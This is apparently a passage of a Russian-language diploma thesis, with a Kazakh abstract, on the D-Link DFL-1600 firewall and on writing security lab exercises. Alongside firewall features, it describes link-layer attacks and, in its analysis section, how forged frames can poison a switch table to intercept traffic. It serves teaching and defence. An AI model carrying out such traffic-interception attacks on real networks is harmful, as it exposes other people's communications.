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Аңдатпа 

 

Дипломдық жобаның негізгі мақсаты студенттерді жұмыстық желі мен 

жүйені қорғауға үйрету. Қауіпсіздік мақсатында желіаралық экранды қолдану 

мен сыртқы қатынасды жоюға үйрету.  

Жобаның негізгі аспектісі болып  табылатын, қазіргі барлық мемлекеттік 

құрылымдар электронды мәліметтермен алмасу, осының себебінен, 

құрылымның жұмысшылыры, орта кәсіпкерге өзінің мәліметтерін немесе 

ақпараттарын бөгде адамдардан қорғау болып табылады.   

Дипломдық жобада желі мен жүйені қорғаудың қазіргі тәсілдерін ары 

қарай түсіну және қолдану үшін зертханалық тапсырмалар құрастырылды. 

 

 

Аннотация 

 

Основной целью данного дипломного проекта является научить 

студентов защите своей или рабочей сети и системы. Научить пользоваться 

межсетевым экраном в целях безопасности и предотвращения доступа из вне.  

Основным аспектом данного проекта является тот факт, что сейчас все 

государственные структуры переходят на электронный обмен данными, и 

именно по этой причине, что сотрудникам структур, что среднему 

предпринимателю нужно уметь защитить свои данные или информацию от 

посторонних.  

В дипломном проекте были составлены лабораторные задания для 

дальнейшего понимания и использования современных методов защиты сети и 

систем. 
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Введение 

 

 

Для выполнения дипломной работы после сравнительного анализа, было 

взято оборудование D-Link, по причине того, что данное оборудование 

сравнительно не дорогое, удобное, много функциональное и не требует 

специальных сертификатов, как например оборудование Cisco.  

Комплексным решением по обеспечению безопасности сетей, систем, 

является межсетевой экран DFL-1600. На данный момент от защищенности  

информации во многом зависит работа фирмы так как, с каждым днем 

повышаются требования, необходимые для сетевой безопасности, для защиты 

от вирусов и атак хакеров. Межсетевые экраны нового поколения серии 

NetDefend подходят по всем этим требованиям. D-Link DFL-1600 обеспечивает 

высокий процент возврата капиталовложений, с помощью большого количества 

функций, качественной защиты и удобного интерфейса. 

Устройства серии NetDefend – это выгодное решение безопасности 

систем предприятий среднего бизнеса по не высокой цене, плюс возможность 

поддержки межсетевых экранов, сбалансирование нагрузки, функций 

отказоустойчивости, механизма Zone-Defense, анализ содержимого, проверка 

пользователей, быстрое блокирование спама и приложений Р2Р, защита 

виртуальных локальных сетей VPN. 

Для уменьшения влияний аварийной ситуации на сеть, межсетевые 

экраны обладают особой функцией — Zone-Defense, которая автоматически 

изолирует зараженные компьютеры сети и останавливает распространение ими 

опасного, некорректного трафика. Эта возможность позволяет работать с 

коммутаторами локальных сетей D-Link и гарантировать надежную 

безопасность сети. 

Ко всему прочему специфика работы межсетевых экранов NetDefend 

включает быстро действенные процессоры, большие базы данных и 

вычислительные мощности, которые дают возможность просчитывать свыше 

ста тысяч параллельных сессий. 

Межсетевой экран D-Link DFL-1600 поддерживает удаленное управление 

с помощью Web-интерфейсов или выделенные VPN-соединения. Это набор 

возможностей для мониторинга, безопасности систем, отправки определенных 

моментов по e-mail, ведение журнала системных происшествий и 

предоставление информации в режиме настоящего времени. 

А это значит, что межсетевые экраны последнего поколения серии 

NetDefend представляет D-Link, который является гарантией максимальной 

производительности и целостности для систем предприятий. 

Актуальность данной работы заключается в том, что в настоящий момент 

времени все государственные службы, средний бизнес, крупные 

предприниматели перешли или переходят на электронный обмен и хранение 

данных и нуждаются в качественной и надежной защите. 
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Цель проанализировать возможность атак на сети и системы и показать 

возможные способы предотвращения данных или подобных атак. 

Задачей является составление лабораторных работ направленных на 

защиту информации сети или системы. 

Объектом изучения является оборудование D-Link широко 

распространенное в настоящее время и легкодоступное для большинства 

пользователей. 

Предметом является безопасность компьютерных сетей и систем. 

Научной новизной данной дипломной работы является анализ 

безопасности и составление лабораторных работ направленных на защиту сетей 

и систем. 

Практическая значимость работы заключается в сохранении информации 

и данных от постороннего вмешательства, будь то прослеживание, изменение 

или считывание. 
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1 Теоритическая часть. Обзор NetDefendOS 

 

1.1 Функции NetDefendOS 

 

Так как возможности межсетевого экрана D-Link DFL-1600 очень 

обширны, будут даны краткие описания основных функций и более 

углубленные тем функциям и протоколам, которые использовались при 

написании данной дипломной работы.  

Операционная система D-Link NetDefendOS(далее NetDOS) является 

базовым программным обеспечением, которое необходимо для управления 

межсетевыми экранами D-Link с расширенными возможностями. 

NetDOS разработанная как сетевая операционная система,  обеспечивает 

широкую полосу пропускания с хорошей надежностью и малым шагом 

изменения полосы. В отличие от продуктов, использующих иную 

операционную систему, например, Unix или Microsoft Windows, NetDOS дает 

возможность свободной интеграции подсистем, подробный контроль над всеми 

возможностями и снижение угрозы атаки. 

Объекты NetDOS с точки зрения системного администратора, 

современный подход NetDOS позволяет визуализировать операции 

использованием ряда логических блоков или объектов, которые дают 

возможность настраивать устройство почти бесконечным числом образов. 

Маленький шаг управления позволяет системному администратору выставить 

необходимые настройки в разных сетях.  

Основные возможности NetDOS – сетевая операционная система с 

широким выбором функций. Ниже представлены основные из них: 

IP Routing NetDOS - обеспечивает такие опции IP-маршрутизации как, 

статическая маршрутизация, динамическая маршрутизация, а также 

возможность маршрутизации multicast. Помимо этого, NetDOS поддерживает 

следующее,  Virtual LAN, мониторинг маршрутов, Proxy ARP и Transparency.  

Firewalling Policies NetDOS - предоставляет проверку пакетов SPI для 

широкого набора протоколов, включая TCP, UDP и ICMP. Администратор 

задает подробные алгоритмы коммутатора на основе источника/назначения 

сети/интерфейса, протокола, портов, атрибутов пользователя (user credentials), 

времени дня и т.д.  

Address Translation - для обеспечения функционала, а также безопасности, 

NetDOS поддерживает передачу адресов на основе алгоритмов. 

Поддерживается два вида трансляций: динамическая трансляция адресов 

(NAT), и статическая трансляция адресов (SAT), что позволяет осуществлять 

работу в различных типах сетей.  

VPN NetDOS - поддерживает все возможные варианты реализации Virtual 

Private Network (VPN). NetDefendOS поддерживает VPN на основе протоколов 

IPsec, L2TP и PPTP и может работать как и сервер, так и как клиент для всех 
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типов VPN, и дает возможность абсолютно любому алгоритму безопасности 

для каждого VPN-туннеля. 

TLS Termination NetDOS - поддерживает TLS Termination. Это позволяет 

межсетевым экранам D-Link осуществлять работу в качестве конечной точки 

для хостов Web-браузера HTTP (эта функция иногда называется SSL 

termination).  

Anti-Virus Scanning NetDOS - встроенный антивирус. Трафик, 

проходящий через коммутатор D-Link, может подвергаться детальной проверки 

на вирусы, и адреса, рассылающие вирусы, будут заноситься в черный список и 

блокироваться.  

Intrusion Detection and Prevention – позволяет защитить от вторжений, и 

предотвращает атаки уровня приложений. IDP engine работает по заданному 

алгоритму и позволяет выполнять полное сканирование и обнаружить атаки. 

Что позволяет выполнять блокировку и внести в черный список атакующие 

хосты.  

Web Content Filtering NetDOS – дает возможность различным механизмам 

фильтрации содержимого, не соответствующего алгоритму использования Web. 

Данное содержимое блокируется по категориям, неподходящие объекты могут 

быть удалены, а Web-сайты могут быть добавлены в определенный список в 

нескольких алгоритмах.  

Traffic Management NetDOS - предоставляет удобные возможности по 

управлению трафиком благодаря функциям таким, как Формирование трафика 

(Traffic Shaping), Правила порогов (Threshold Rules) (только для некоторых 

моделей) и Балансировка нагрузки сервера (Server Load Balancing). Traffic 

Shaping предоставляет ограничение и распределение полосы пропускания; 

Threshold Rules предоставляет спецификацию порогов для отправки сообщений 

о сетевом трафике; Server Load Balancing дает возможность устройству с 

NetDOS распределять нагрузку в сети. 

Operations and Maintenance - управление NetDOS производиться через 

интерфейс командной строки (CLI). NetDOS также позволяет подробно 

наблюдать за событиями и регистрацией, а также возможна поддержка 

мониторинга через SNMP.  

ZoneDefense NetDOS - также использоваться в управлении 

коммутаторами D-Link благодаря функции ZoneDefense. Эта функция 

позволяет NetDOS блокировать участки сети, в которых присутствует источник 

зараженного трафика. 

 

1.2 Архитектура NetDefendOS  

 

1.2.1. Архитектура на основе состояний. Архитектура NetDefendOS 

использует соединения на основе состояний. В основном, стандартные IP-
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маршрутизаторы или коммутаторы изучают пакеты и затем производят 

перенаправление на основе полученной информации, содержащейся в 

заголовках пакетов.  

Технология Stateful Inspection система NetDOS использует технологию 

Stateful inspection, производящая проверку и изменение направления трафика на 

базе соединения. NetDOS определяет новое установленное соединение и 

запоминает некоторую часть информацию или state в таблице state table для 

определения времени существования данного соединения. Таким образом, 

NetDOS дает возможность идентифицировать контекст сетевого трафика, 

который, в свою очередь, дает возможность выполнить полное сканирование 

трафика, управление полосой пропускания, а так же и иные функции. 

Технология Stateful inspection обеспечивает высокую производительность, 

повышая пропускные возможности совместимые с дополнительными 

преимуществами легко изменяемого масштабирования. Подсистема NetDOS, 

выполняющая stateful inspection, порой употребляется в документации как 

NetDOS state-engine. 

 

1.2.2. Структурные элементы NetDOS. Основными составными 

элементами в NetDOS являются интерфейсы, логические объекты и правила. 

Интерфейсы выполняют роль «входов» для исходящего и входящего 

трафика, проходящего через NetDOS. При отсутствии данных интерфейсов у 

системы NetDOS отсутствует возможности получать или отправлять данные. 

Типы интерфейсов: 

- Физические интерфейсы –актуальный физический Ethernet-порт. 

- Под-интерфейсы (sub-interfaces) –интерфейсы VLAN и PPPoE. 

- Интерфейсы туннелирования – отправка и получения данных через 

VPN-туннели.  

Симметричные интерфейсы. Дизайн интерфейса NetDOS симметричен, и 

получается, что интерфейсы устройства неустойчивы и являются 

«незащищенными снаружи» или «защищенными внутри» и зависят только от 

администратора. 

Логические объекты. Логические объекты - это определенные элементы, 

используемые в наборах правил. Адресная книга, например, содержит 

назначенные объекты, такие как хост и сетевые адреса. Другим примером 

логических объектов выступают сервисы, предоставляющие определенные  

протоколы и порты. Помимо этого, в немаловажной роли выступают объекты 

Application Layer Gateway (ALG), необходимые для определения 

дополнительных параметров в определенных протоколах, таких как HTTP, FTP, 

SMTP и H.323. 

Наборы правил NetDefendOS: 

В конечном итоге, правила, заданные администратором в различные 

комплекты правил (rule sets) необходимы для фактического применения 

алгоритмов безопасности NetDOS. Основным комплектом правил являются IP-
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правила (IP Rules), которые используются, для определения алгоритмов IP-

фильтрации уровня 3, а также для перенаправления и балансировки нагрузки 

сервера. Правила создания трафика (Traffic Shaping Rules) определяют 

алгоритм управления полосой пропускания, правила IDP позволяют защитить 

сеть от вторжения и т.д. 

 

1.2.3. Поток пакетов Данный. Раздел описывает пути пакетов, 

полученных и отправленных системой NetDOS. Следующее описание является 

упрощенным и не применяется ко всем сценариям, тем не менее, основные 

принципы остаются приемлемыми при использовании NetDOS. 

1. Ethernet-фрейм выдается на одном из Ethernet-интерфейсов системы. 

Производится проверка базового Ethernet-фрейма и, если фрейм не допустим, 

пакет будет отброшен. 

2. Пакет сравнивается с интерфейсом источника. Интерфейс источника 

идентифицируется следующим образом: 

- Если Ethernet-фрейм содержит идентификатор VLAN ID (Virtual LAN 

identifier), (идентификатор виртуальной локальной сети), сравнивается 

конфигурация VLAN-интерфейса с подходящим VLAN ID. В случае 

соответствия VLAN-интерфейс становится интерфейсом пакета. Если 

соответствия нет, пакет не допускается, а событие заносится в журнал.  

- Если Ethernet-фрейм содержит PPP-данные, система выполняется 

проверка соответствия с PPPoE-интерфейсом. Если соответствие имеет место 

быть, интерфейс становится интерфейсом источника пакета. В противном 

случае пакет не допускается, а событие регистрируется.  

- Если ничего из вышеперечисленного не происходит, то интерфейсом 

источника пакета становится Ethernet-интерфейс.  

3. IP-датаграмма из пакета передается на проверяющее устройство 

NetDOS, которое выполняет проверку пакета на ошибки, включая проверку 

контрольной суммы, флагов протокола, длины пакета и т.д. Если ошибка 

присутствует, пакет отбрасывается и заносится в журнал.  

4. NetDOS производит поиск существующего соединения, сравнивая 

параметры входящего пакета, включая интерфейс источника, IP-адреса 

источника и назначения и IP-протокол. Если соответствия нет, происходит 

процесс установки соединения. Если соответствие есть, процесс происходит с 

шага 10.  

5. Правила доступа (Access Rules) определяют, разрешен ли IP-адрес 

источника. Если разрешен, в таблице маршрутизации происходит поиск 

обратного маршрута (reverse route lookup). Иначе, изначально, интерфейс будет 

принимать только IP-адрес источника, который принадлежит сети данного 

интерфейса. Поиск обратного маршрута (reverse lookup) выполняется с целью, 

подтвердить существование маршрута использования интерфейса, в случае 

если сеть является сетью назначения. В том случае, когда поиск правила 
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доступа или обратный поиск маршрута определяют, что IP источника 

ошибочный, пакет не допускается и регистрируется в журнале.  

6. Поиск маршрута происходит в соответствующей таблице 

маршрутизации. Интерфейс назначения определен заранее.  

7. Определяются IP-правила, которым соответствуют характеристики 

соответствующего пакета. Используются следующие характеристики: 

-интерфейсы источника и назначения; 

-сеть источника и назначения; 

-IP-протокол (например, TCP, UDP, ICMP); 

-TCP/UDP-порты; 

-типы ICMP-пакетов; 

-время действия правила по расписанию. 

Если соответствие нет, пакет не допускается. 

Если правило найдено, соответствующее новому соединению, параметр 

правила Action назначает действия системы NetDOS по отношению к 

соединению. Если назначено действие Drop (Отклонить), пакет не допускается, 

а событие заносится в журнал. Если назначено действие Allow (Разрешить), 

пакет проходит через систему. Соответствующее состояние будет занесено в 

таблицу соединений для сравнения с последующими пакетами, относящихся к 

тому же соединению. Так же, объект службы, связанные одним или 

несколькими IP-протоколами с соответствующими им номерами портов может 

быть связан с объектом Application Layer Gateway (ALG). Эти данные 

применяются с целью того, чтобы система NetDOS управляла 

соответствующими приложениями для обеспечения обмена информацией. В 

результате, новое соединение, будет занесено в журнал.  

Существуют также дополнительные действия, к примеру, переадресация 

и балансировка нагрузки сервера.  

8. Правила обнаружения и предотвращения вторжений (Intrusion Detection 

and Prevention (IDP) Rules) оцениваются по аналогии с IP-правилами. Если 

найдено соответствие, данные регистрируются. Таким образом, система 

NetDOS будет знать о выполнении сканирования всех пакетов, относящихся к 

этому соединению.  

9. Анализируется Формирование трафика (Traffic Shaping) и Правило 

ограничения порога (Threshold Limit rule). Если присутствует соответствие, то 

информация регистрируется. А значит, производится управление трафиком.  

10. При наличии информации система NetDOS решает, какое действие 

использовать к входящему пакету: 

- При наличии данных ALG и выполнения IDP-сканирования данные 

пакета проверяется подсистемой псевдосборки TCP, которая в свою очередь 

использует различные ALG, механизмы считывания содержимого на 7 уровне и 

т.д.  

- Если содержимое пакета закодировано (с помощью протокола IPsec, 

PPTP/L2TP или другого типа протокола туннелирования), производится 
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проверка списков интерфейсов на соответствие. Если обнаружено соответствие, 

пакет декодируется и данные (незашифрованный текст) отправляются обратно 

в NetDOS, но уже с интерфейсом источника, который соответствует 

интерфейсу туннелирования.  

- При наличии информации об управлении трафиком, пакет определеятся 

в очередь или выполняется действие согласно заданным настройкам.  

11. В результате, пакет будет отправлен на интерфейс назначения в 

соответствии с его состоянием. Если интерфейс назначения является 

интерфейсом туннелирования или физическим под-интерфейсом, выполняется 

дополнительная обработка данных, к примеру, кодирование или инкапсуляция.  

 

1.3 Безопасность физического и канального уровней 

 

Безопасность канального уровня, по сути, то же самое, что и безопасность 

локальной сети. Как правило, атака на канальном уровне предполагает, что 

атакующий находится в локальной сети, либо существует некий посредник, 

который умышленно или неумышленно связан с реализацией атаки. 

Задача атакующего заключается в получении доступа к определенным 

ресурсам, информации или, как минимум, нарушить целостность сети. 

Опасность проблем в безопасности на канальном уровне заключается в 

том, что взломав локальную сеть, атакующий может без преград пройти через 

средства защиты на вышестоящих уровнях. 

К примеру, в сети настроены ACL на сетевых устройствах или файрвол 

для разграничения доступа пользователей к ресурсам в сети. Но, например, 

выполняя замену IP-адреса в пакете, атакующий без проблем проходит через 

заданные правила, так как он выступает в качестве легитимного пользователя. 

Как правило, атаки выполняются в комплексе. Удачное выполнение атаки 

не обязано быть целью, а может быть средством получить что-то большее. 

Например, атака ARP-spoofing дает возможность атакующему 

перехватывать весь трафик между интересующим ресурсом и каким-то 

пользователем и при необходимости подменять его. Однако, реализовать эту 

атаку можно только в пределах широковещательного сегмента сети. Если в сети 

присутствует коммутатор Cisco с настройками по умолчанию, то можно 

поднять тегированный канал между компьютером атакующего и коммутатором 

и таким образом получить доступ к другим широковещательным сегментам 

сети. В таком случае выполнить ARP-spoofing можно в каждом из доступных 

сегментов. 

 

1.3.1 Атака на канальном уровне. В зависимости от результатов, которые 

будет получены, атаки разделяются на несколько типов (выделенные типы атак 

не являются всеми возможными атаками): 
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- человек посередине (Man in the middle, MitM) — атакующий находится 

между двумя клиентами и либо прослушивает трафик, передаваемый между 

ними, либо перехватывает его и заменяет. При этом, жертвы атаки, никаких 

видимых признаков атаки не обнаруживают; 

- отказ в обслуживании (DoS) — атака на какой-либо ресурс системы с 

задачей довести его до не рабочего состояния. На канальном уровне существует 

ряд атак, позволяющие получить односторонний доступ к какому-либо участку 

сети. Этого как раз позволяет продолжить атаку; 

- неразрешенный доступ к сети или ее участкам — используя какие-либо 

неточности в протоколах, получение доступа к тем участкам сети, которые в 

теории должны были быть недоступны. И, так же, осуществление других типов 

атак на данных участках сети; 

- нарушение работы сети или её участков — некоторые неточности 

протоколов канального уровня не могут использоваться обычным образом. То 

есть, отсутствует возможность как-либо преднамеренно повлиять на их 

поведение. Но есть возможность нарушить их обычную работу и таким образом 

нарушить работу всей сети или только ее участка. 

Не все протоколы, рассмотренные здесь, относятся к канальному уровню. 

Однако, именно особенности работы данных протоколов на канальном уровне, 

позволяют манипулировать этими протоколами. Поэтому часто 

соответствующие атаки и средства защиты относят к канальному уровню сети. 

Распространенные атаки канального уровня: 

- ARP-spoofing (ARP-poisoning) — техника сетевой атаки, применяемая в 

основном в Ethernet, но так же и в других, использующих протокол ARP сетях, 

основанная на использовании недочетов протокола ARP и дающая возможность 

перехватывать трафик между узлами, которые находятся в пределах одного 

широковещательного домена; 

- MAC-spoofing — атака канального уровня, заключающаяся в том, что на 

сетевой карте изменяется MAC-адрес, что вынуждает коммутатор отправлять 

на порт, подключенный злоумышленником, пакеты, которые до этого он 

замечал; 

- переполнение таблицы коммутации — атака основана на том, что 

таблица коммутации в коммутаторах имеет ограниченную память. После 

заполнения таблицы, коммутатор не может более запоминать новые MAC-

адреса и работает как хаб, отправляя трафик на все порты; 

- атаки на DHCP — это может быть подмена DHCP-сервера в сети (тогда 

атакующий имеет возможность назначать дополнительные параметры DHCP, 

такие как шлюз по умолчанию) или атака DHCP starvation, которая вынуждает 

DHCP-сервер выдает все существующие на сервере адреса атакующему; 

- VLAN hopping — неразрешенное получение доступа к VLAN; 

- атаки на STP — отправка сообщений BPDU для изменения текущего 

древа STP. 
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1.3.2 Анализатор трафика или сниффер. Анализатор трафика, 

или сниффер (от англ. to sniff — нюхать) — сетевой анализатор трафика, 

программа или программно-аппаратное устройство, предназначенное для 

перехвата и последующего анализа, либо только анализа сетевого трафика, 

предназначенного для других узлов. 

Сниффер имеет возможность анализировать только то, что проходит 

через его сетевую карту. Внутри одного сегмента сети Ethernet все пакеты 

рассылаются всем машинам, из-за этого есть возможность перехватить чужую 

информацию. Использование коммутаторов (switch, switch-hub) и их грамотная 

конфигурация уже является защитой от прослушивания. Коммутация 

пакетов — форма передачи, при которой данные, разбитые на отдельные 

пакеты, пересылаются из исходного пункта в пункт назначения различными 

маршрутами.  

Перехват трафика осуществляется: 

- обычным «прослушиванием» сетевого интерфейса (эффективнокогда в 

сегменте используются концентраторы (хабы) вместо коммутаторов (свитчей), 

в противном случае метод малоэффективен, поскольку на сниффер поступают 

только отдельные фреймы); 

- подключением сниффера в разрыв канала; 

- ответвлением (программным или аппаратным) трафика с 

перенаправлением его копии на сниффер (Network tap); 

- через анализ побочных электромагнитных излучений и восстановление 

таким образом прослушиваемого трафика; 

В начале 1990-х годов широко применялся хакерами для перехвата 

пользовательских логинов и паролей, которые в ряде сетевых протоколов 

передаются в незакодированном или слабо зашифрованном виде. Широкое 

распространение хабов давало возможность захватывать трафик без больших 

усилий в больших сегментах сети практически без возможности быть 

засеченным. 

Снифферы применяются как в благих, так и в деструктивных целях. 

Анализ прошедшего через сниффер трафика позволяет: 

- Обнаружить паразитный, вирусный и закольцованный трафик, 

увеличивающего загрузку сетевого оборудования и каналов связи (снифферы 

здесь малоэффективны; как правило, для данных целей используют сбор 

всевозможной статистики серверами и активным сетевым оборудованием и её 

последующий анализ). 

- Выявить в сети вредоносное и неразрешенные ПО, например, сетевые 

сканеры, флудеры, троянские программы, клиенты пиринговых сетей и другие 

(это делают при помощи специальных снифферов — мониторов сетевой 

активности). 

- Перехватить любой незакодированный (а порой и закодированный) 

пользовательский трафик для получения паролей, данных, трафика и другой 

информации. 
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- Локализовать неисправность сети или ошибку конфигурации сетевых 

агентов (для этой цели снифферы часто применяются системными 

администраторами) 

Так как в «классическом» сниффере анализ трафика выполняется 

вручную, с применением самых простых средств автоматизации (анализ 

протоколов, восстановление TCP-потока), то он используется для анализа лишь 

малых его объёмов. 

Снизить угрозу сниффинга пакетов можно с помощью таких средств, как: 

аутентификация; 

криптография; 

антиснифферы; 

коммутируемая инфраструктура. 

 

1.4 Безопасность межсетевого экрана D-Link DFL-1600 

 

Одна из основных функций NetDOS - разрешение доступа к защищенным 

ресурсам информации только определенным пользователям. Система NetDOS 

выполняет управление доступом на основе набора IP-правил, в котором 

диапазон защищенных LAN-адресов рассматривается как доверенные хосты. 

При этом поток трафика с непроверенных ресурсов на доверенные хосты 

ограничивается. Перед проверкой нового соединения на соответствие набору 

IP-правил, система NetDOS производит проверку источника соединения на 

соответствие «Правилам доступа». «Правила доступа» используются для того, 

чтобы определить источник трафика на определенном интерфейсе, и для 

автоматического запрета пакетов с определенных источников. Правила доступа 

обеспечивают эффективную и направленную фильтрацию новых попыток 

соединения. 

1.4.1 IP Spoofing. Злоумышленник изменяет IP-адрес пакетов, идущих с 

доверенного хоста, с целью обмана системы безопасности межсетевого экрана. 

Такая атака называется Spoofing. IP spoofing – одна из наиболее 

распространенных атак spoofing. Злоумышленники используют IP- адреса 

разрешенных хостов, чтобы «обойти» фильтрацию. В заголовке IP-пакета 

указывается адрес источника пакета, измененный злоумышленником и 

используемый как адрес локального хоста. Межсетевой экран воспринимает 

данный пакет, как пакет доверенного источника. Хотя источник пакета не 

имеет возможности отреагировать правильно, возникает возможность угрозы 

перегрузки сети и создания всего необходимого для атак Denial of Service 

(DoS). Межсетевой экран с поддержкой VPN позволяет защитится от атак 

spoofing, но в случае, когда VPN не подходит, используются «Правила 

доступа», которые обеспечивают защиту от атак spoofing за счет еще одного 

фильтра, используемого для проверки адреса источника. С помощью «Правила 

доступа» можно убедится, что пакеты, пришедшие на соответствующий 
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интерфейс, не имеют адреса источника, связанного с сетью другого 

интерфейса. Другими словами:  

- Любой входящий трафик с IP-адреса источника, принадлежащего 

локальному доверенному хосту, БЛОКИРУЕТСЯ.  

- Любой исходящий трафик с IP-адреса источника, принадлежащего 

внешней неизвестной сети, БЛОКИРУЕТСЯ.  

Первое правило не позволяет неопределенным лицам использовать адрес 

локального хоста в качестве адреса источника.  

Второе правило в свою очередь, защищает любой локальный хост от атак 

spoof. 

1.4.2 Антивирусное сканирование. Антивирусный модуль NetDOS 

позволяет защитится от вредоносного кода, переносимого загрузочными 

файлами. Файлы могут быть загружены как часть Web-страницы в передаче 

HTTP, в загрузке FTP, или в виде вложений в электронную почту, 

доставляемых через SMTP. Вредоносный код в таких загрузках предназначен 

для различных целей, как и программы раздражающего воздействия до более 

злонамеренных действий, например, получение паролей, номеров кредитных 

карт и другой личной информации. Термин «Вирус» используется как общее 

описание для всех видов вредоносного кода, переносимого файлами. 

В отличие от функции обнаружения и предотвращения вторжений (IDP), 

которая, в основном применяется при нападении на серверы, антивирусное 

сканирование сконцентрировано на загрузках, выполняемых клиентами. 

Антивирус NetDOS разработан как дополнение к стандартному антивирусу, 

которое, как правило, выполняется локально специализированным 

программным обеспечением, установленным на клиентских компьютерах. 

Функция IDP не предназначена для полной замены локального сканирования, а 

выступает в роли дополнительной функцией для повышения безопасности. 

Самое главное, она также может выступать в качестве дополнительной 

функции, при отсутствии антивируса у локального клиента. 

1.4.3 Обнаружение и предотвращение вторжения. 

Определение вторжений 

Уязвимые серверы имеют возможность стать жертвой таких атак как 

«черви», «трояны» и «backdoor», которые  получают контроль над сервером. 

Общий термин, используемый для описания таких атак на сервер – intrusions 

(вторжения). 

Обнаружение вторжений  

Отличие вторжения от вирусов в том, что вирус, как правило, содержится 

в одном файле, загружаемым в систему клиента. Вторжение представляет собой 

вредоносные Интернет-данные, задачей которых является «обойти» механизмы 

безопасности сервера. Вторжение не является редкостью и может постоянно 

изменяться, так как они автоматически создается атакующим. NetDOS IDP дает 

возможность защитится от подобных угроз. 
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Обнаружение и предотвращение вторжений (IDP) является подсистемой 

NetDOS, которая направленна на защиту от попыток вторжения. Система 

действует путем мониторинга сетевого трафика, проходящего через 

межсетевой экран NetDOS, поиска шаблонов, показывающих на попытку 

вторжения. После обнаружения вторжения, NetDOS IDP выполняет шаги по 

нейтрализации  вторжения и его источника. 

1.4.4 Предотвращение атак DoS. Используя сеть Интернет, предприятия 

приобретают новые возможности для бизнеса и роста. Сеть предприятия и 

сетевые приложения являются необходимыми для бизнеса. Благодаря сети 

Интернет компания может значительно увеличить число своих клиентов и 

предоставить более быстрое и эффективное обслуживание. В то же время, 

использование общей IP-сети, дает компаниям возможность сократить расходы, 

связанные с инфраструктурой. 

К сожалению, те же плюсы, которые Интернет приносит бизнесу, также 

представляют интерес для хакеров, которые используют ту же общественную 

инфраструктуру для своих атак. Инструменты атак свободно доступны в сети 

Интернет и работа по развитию применения этих инструментов разделяется 

между группами начинающих хакеров — иногда называемых «хакеры-

дилетанты» - по всему миру, что обеспечивает круглосуточное ежедневное 

развитие методов атак. Многие новейшие методы атак используют 

распределенную топологию сети Интернет для запуска атак «Отказ в 

обслуживании» (DoS), в результате чего парализуется работа Web-серверов, у 

которой нет возможности отвечать на санкционированные запросы на 

соединение. 

Атака DoS является одной из самых серьезных сетевых атак. Появляясь 

абсолютно неожиданно, атака DoS влечет к таким серьезным последствиям как 

полный отказ работы сервера, неактивные Интернет-соединения и  перегрузка 

систем, критически важных для бизнеса. 

 

1.5 Постановка задачи проекта 

 

В данном дипломном проекте рассматривается разработка лабораторных 

работ на тему атаки и защиты данного межсетевого экрана. 

Актуальность данного проекта заключается в том, что межсетевые 

экраны компании D-Link в данный момент времени очень распространены в 

компаниях, фирмах, банках. Моя задача показать в данных лабораторных 

работах, как защитить информацию от постороннего пользователя. 

Лабораторные работы направлены, как и на защиту, так и на атаку, с целью 

понимания возможностей данного оборудования. 

Межсетевые экраны компании D-Link достаточно дорогие, но цену свою 

оправдывают, посредством своих возможностей. 
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2 Анализ 

 

 

В данной части дипломной работы я приведу примеры атак на сети и 

системы, для более наглядного представления. 

 

2.1 Сетевое оборудование 

 

В обычной сети Ethernet одним из основных видов коммуникационного 

оборудования являются - свичи (switches). Основная задача этого 

оборудования, перенаправление пакетов с одного порта, на другой. Это 

осуществляется при помощи таблицы коммутации, которая создается и 

поддерживается свичем. В таблицу заносятся данные о том, на каком порту 

устройства находится тот или иной MAC-адрес. Причем основным значение в 

этой таблице является MAC-адрес, а именно к одному MAC-адресу 

привязывается только один порт коммутатора. Вот так, частично, выглядит  

таблица свича. 

 

Таблица 1 - Часть таблицы коммутации свича 

000162-a15e68  

0001e8-8d574d  

0001e8-d9eba2  

0001f0-88be4d  

000202-1e4d80  

00026c-c88e2a  

000344-0f0a2e  

000344-0f0a31  

000344-0f0a48  

000344-303019  

000344-3adc8c  

000576-9f4a19  

000576-9f4a5e  

0008e9-4a6851  

0008e9-4a867b  

0008e9-57d732  

0008e9-57de2e  

0008e9-602968 

2 

2  

2  

10  

20  

10  

2  

2  

2  

2  

2  

2  

4  

12  

2  

2  

2  

2 
 

 

Коммутаторы учатся. Они подстраивают свою таблицу коммутации в 

зависимости от всевозможных внешних воздействий. Алгоритм этого обучения, 

в общем случае, достаточно простой. Устройство, получиает пакет на каком-
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либо порту, исследует поле заголовка Ethernet-кадра, получая из него адрес 

отправителя, запоминает порт, по которому данный пакет пришел, и добавляет 

эту запись в таблицу коммутации. В случае, когда уже есть запись для такого 

MAC-адреса, свич если это необходимо меняет соответствующий ему порт. 

 

2.2 Принцип работы атаки 

 

Благодаря подобному механизму обучения, простые свичи достаточно 

уязвимы к атакам на таблицу коммутации. Отправив некорректный пакет, 

можно изменить таблицу коммутатора и заставить его функционировать себя 

неправильно. Вот чего можно добиться подобным методом: 

 

 
 

Рисунок 2.1 -  Простейшая схема атаки 

 

В этом случае "Атакующий" хост может испортить таблицу коммутации 

свичей специально заданным пакетом. При этом "правильный трафик", 

направленный с клиента на сервер, можно будет изменить так, чтобы он 

доставлялся на машину атакующего. В самом простом случае таким пакетом 

может выступать обыкновенный ICMP запрос. Или говоря проще, ping. Этот 

пакет должен быть отправлен с хоста "Атакующий", но сформирован так, как 

будто его отправил "Сервер", то есть с указанием MAC-адреса сервера в поле 

источника Ethernet-кадра. В таком случае все свичи, через которые пройдет 

специальный пакет, изменят свою таблицу коммутации на "неправильную" и 

начнут перенаправлять пакеты атакующему хосту. В результате подобных 

действий  можно перехватить трафик между двумя и более машинами в сети. 

Иначе говоря,  прослушать трафик практически любой машины в свичеваной 
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сети. Но для реализации удачной атаки необходимо решить некоторые 

проблемы. Первая, и самая серьезная проблема заключается в том, что нужны 

двое атакующих хостов. Предположим, необходимо прослушать трафик между 

клиентом и сервером. Если проводить атаку только на одну из этих машин, 

атакуемые потеряют возможность обмениваться данными, потому что весь 

трафик отправляемый второй машине, будет доставляться свичами 

атакующему. То есть, если атакованный хост захочет установить соединение с 

сервером, атакующая машина засечет эту попытку. Однако сервер не получит 

пакеты на установление соединения, и соединение не  установится. Для того, 

чтобы избежать подобного, необходимо атаковать в обоих направлениях 

обмена трафика и перенаправлять трафик не автоматически а "вручную". 

Возникает желание осуществить все это на одной машине при помощи 

обычного приложения. Но это, к сожалению, невозможно, из-за следующей 

причины. Подменить клиента для сервера и сервер для клиента на одной 

атакующей машине невозможно. Так как в этом случае свич, к которому 

подключен атакующий, будет перенаправлять пакеты обратно. Рассмотрим это 

на следующих примерах: 

 

 
 

Рисунок 2.2 - Атака с одного хоста 

 

Если попробовать подменить для клиента сервер, а для сервера клиент с 

